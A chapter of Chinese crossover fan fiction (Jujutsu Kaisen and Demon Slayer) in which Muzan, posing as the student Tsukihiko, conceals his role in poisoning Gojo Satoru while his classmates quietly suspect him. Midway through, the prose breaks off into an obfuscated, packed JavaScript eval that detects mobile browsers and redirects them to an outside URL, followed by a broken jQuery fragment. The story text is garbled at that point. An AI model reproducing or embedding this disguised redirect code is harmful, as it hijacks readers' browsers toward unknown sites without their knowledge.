无惨一个人在学校过了许久的安生日子,既没五条悟碍眼,也没有上课的困扰,他将整个高专都逛了一圈,除开那些被封禁的地方,也没什么地方是他不能去的。

    今天和平时也没什么不一样,无惨午后本想着去市内走走,推门却听到了不一样的声响。

    “呦,月彦,还真是无情呐,老子吃了你送的饼干之后被毒得一病不起你居然也不来探望一下。”五条悟坐在寝室楼下的空地上,监工似的看着边上的夏油杰搬着他的东西。

    “去探望你?自投罗网吗?”无惨岂会不清楚五条悟因为什么东西中毒,在替罪羊被找出来之前,无惨才不会出现在众人面前。

    很难想象,一个看上去刚和五条悟认识不久的人会下如此重手。

    “其实现在也没找出来幕后黑手是谁,不过老子命很硬,这人要是下次再动手,老子一定会将那人按进地底。”说着,五条悟脸上露出了几分狠意。

    他本身也算不上什么良善之辈,只是在高专内,那些过于少年气的活泼将骨子里的冷漠全都埋藏了起来。

    “是吗,那祝你加油。”

    无惨极为违心拍了拍手,心想,你可没这个机会了,

    他不会再亲自下手。

    这次寻找伏黑甚尔出手系统甚至没出声制止,不知道是因为对他放弃了还是算在原有剧情内,还真是很让他在意啊。

    对于杀死五条悟这件事,无惨只能不断地试探,避开系统的底线。

    “不是我说,你要是身体没什么事就动一动好吗?”

    夏油杰身旁竖着一个巨大的咒灵,咒灵手中捧着一整台电脑,现在的夏油杰看着五条悟坐在那无所事事就来气。

    “什么嘛,杰真的好过分,明明知道人家是病号都不能多体谅一下。”说着,五条悟还嘤嘤了一声,装模作样咳嗽了两声,好一副我见犹怜的样子。

    “你快滚吧,我要吐了。”夏油杰撇过头去,一副没眼看的样子。

    男生寝室在白天总不能让月彦和硝子进去,这种苦力活自然而然也就落到了夏油杰身上,好在他还有着不少神奇宝贝能给自己提供便利。

    五条悟好整以暇坐在原地不动如山,看着夏油杰额角的青筋凸起,他终于忍无可忍,一把将坐在地上的五条悟薅了起来,怒斥:

    “没有一点事就给我起来干活啊!”

    “真是夏油杰妈妈桑。”

    五条悟被动得开始了干活。

    “?他们这是干什么?”无惨记得五条悟回家是为了解毒的吧,现在看上去毒素好像都进脑子里了。

    家入硝子坐在烟雾环绕中淡定开口:“他中毒太厉害了,就算有着反转咒术,也解决不了他脑子里进的水。”

    “至于夏油杰,估计是被传染的吧。”

    那包饼干,他们三个人都吃了,唯独五条悟的有问题。

    单独给五条悟的那份是特质的版本,足够浓重的白糖之下是轻而易举就能夺取人类生命的神经毒素,要是真是无惨下的话,这么些天,他不会过得如此轻松。

    每天不是逛街就是在外面玩,惬意得一点都没有身为嫌疑人的自觉。

    月彦每天的行动都在窗的监视范围下,要是这全都是演技的话,那她不去当演员实在是太埋没了自己的天赋。、

    不是他们想恶意排挤和怀疑月彦,月彦入学的时间本身就晚,而且很莫名对五条悟抱有一种恶意,可能她自己都没能察觉到,而在近期,这种恶意好像被藏在什么东西之下。

    不明显,但却是存在。

    而月彦好像开始有意地和他们拉近关系。

    不怪他们多想,谁都不想将怀疑的人选定在身边的同学身上。

    家入硝子垂眼,将紧皱的眉头松开,至少现在,他们都还没有证据。

    “五条悟的身体看上去完全好了。”无惨打量着那边玩闹着的两人,从行动上的毫不受限来看,估计早已痊愈。

    所以为什么这几人拖延到现在才来上学呢?

    “怎么样,下毒的幕后黑手有抓到吗?”

    无惨状做不经意问,像是终于想起来去慰问一下自己的同学,只是迟到了很久。

    家入硝子沉默了片刻,看着边上月彦的红色竖眸,叹了口气道:“抓到了,也处决完了。”

    敢对五条家的神子动手,五条家族内部的人员自然不可能会轻易放过他,无论他是替罪羊也好,真正的幕后黑手也罢,总有人会出来承担五条家的怒火。

    “这样啊,那就好。”

    无惨一边说着,一边伸手拍了拍自己的胸脯,像是终于松了一口气,今后都不必再为此事而提心吊胆:“既然这样,那我也就放心了。”

    放心什么,放心今后的五条家不会再去找她这个无辜人员的麻烦,还是放心再也不会有人查出下毒的人其实是自己。

    无论怎么说,作为亲手将饼干递给五条悟的月彦都难辞其责,但他就是不愿意出面,生怕与那些人扯上干系。

    无论是开学之前就有的风言风语,还是五条悟那似有似无的警告,好像都表明了面前这位同学并不是一个良善之辈。

    “是啊,不是你做的,就算他们要怀疑到你头上,悟他也会是不干的。”

    无论月彦和她的关系是不是很差,但作为动手杀死老橘子的先锋人物,五条悟总会对她多有优待。

    五条家的人还越不过五条家主的头上。

    “那还要真是感谢他,帮大忙了,不然我都不太敢面对五条家的人,现在想想,我那天动手好像也不对,配合调查才是应该的,没吓到你吧?”

    没担心那群人的生死,反而更在意她的情绪吗?

    家入硝子对月彦的脑回路更加的不解,也只能苍白解释:“没有,当时那个情况,任谁都是会害怕的吧,月彦出手也是正常的啦,而且下手都很有分寸。”

    也仅仅是没死掉而已,家入硝子还记得当时的她赶回教室后那血流成河的场景,就算是和咒灵搏斗活下来的咒术师身上都不会出现那么凶险的伤口

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17779848|208222||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    可即使如此,也是在月彦留手的情况下。

    那样的人,真的会害怕被栽赃陷害吗?

    可拥有着这个远超五条悟实力的人,真对悟抱有杀意,又为什么要选择下毒这样极易让人发现的办法呢?

    这件事过于矛盾又疑点重重,让几人不得不抛在了脑后。

    他们三个人在五条悟的房间内商量了半天都没商讨出来结果,最终只能决定回学校之后走一步看一步。

    五条悟自己倒一点都不担心,甚至还能直起身体一脸虚弱又要强撑起自己,瞪着那双苍蓝色的眸子,认真告诉他们:

    “不用担心,我还是最强的啦,这次只是我太大意了,咳咳咳……”

    喉咙内被毒药腐蚀的气道还不足以支撑这样的大喊,没一会五条悟就重新瘫倒在了病床上。

    “时间也不早了,明天还要上课,我们先回去休息吧,看样子他们一时半会是好不了了。”

    明明是再往寝室里搬东西,可几趟下来,寝室前的空地上堆积的物品却一点没少,真不知道他们是来上学的还是来度假的。

    家入硝子推着刚准备出门的月彦就往回走,走到一半突然想起现在她出来好像是为了出去,脚下的动作又一顿:

    “欸,月彦是不是要出去来着?”

    无惨感受着背后传来温软的血肉,眉心不可见的蹙紧了一瞬,又立刻松开,安抚道:

    “没事,本来也就想看看你们大概什么时候回来。”

    无惨没回头,顺着硝子的力道立刻往女生宿舍楼里走去。他可没说谎,他每天可都盼着这几个人回来。

    打好关系和盼着五条悟去死并不冲突,要不然他又怎么能做出最好的判断呢?

    一晚上的休整足够让他们适应好高专原有的节奏,次日的天还未亮起,无惨就站在了窗边拉上了厚重的窗帘。

    时间还早,他收拾好自己后在房间里耐心等待着,优秀的听力能够让他捕捉到外面的细微变化。

    高专的房子虽然年份看着久远,宿舍却出乎意外的不错,可能是几群拥有不凡能力的少年太有活力,导致宿舍需要不断翻新的缘故。

    无惨只能靠着门口传来的吱呀一响来判断,隔壁的家入硝子出了门,接着是皮鞋不断落在木地板上啪嗒啪嗒的声响,最后停留在无惨的门前。

    叩叩叩——

    “月彦醒了吗?我们差不多要出去上课了。”

    无惨一下子拉开门,用行动表明了自己随时可以准备出发。他像往常一样从门边拾起自己的黑伞,先在房间中撑起再缓步走出房门。

    今天的阳光实在太烈了,无惨可不想让自己任何一点皮肤暴露在那足以烧毁的紫外线下。

    即使他们可能现在还是怀疑着自己,但依旧不会破坏之前友好的氛围,无惨龟缩在伞面之下惬意眯了眯眼。

    和别人打好关系这点事,对他而言好像没有一点难度。

    一人一鬼并肩而行,和谐得像一对感情颇好的朋友。